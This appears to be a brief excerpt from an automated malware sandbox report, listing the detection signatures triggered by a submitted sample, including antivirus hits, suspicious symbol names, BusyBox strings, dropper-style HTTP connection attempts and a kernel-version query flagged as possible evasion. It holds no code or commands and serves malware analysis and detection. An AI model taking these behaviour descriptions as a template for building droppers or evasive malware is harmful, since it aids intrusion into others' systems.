Signatures

Multi AV Scanner detection for submitted file
Contains symbols with names commonly found in malware
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
